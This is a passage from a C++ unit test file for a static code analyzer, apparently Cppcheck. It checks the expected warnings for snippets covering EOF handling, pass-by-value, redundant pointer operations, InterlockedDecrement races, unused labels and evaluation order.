std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", 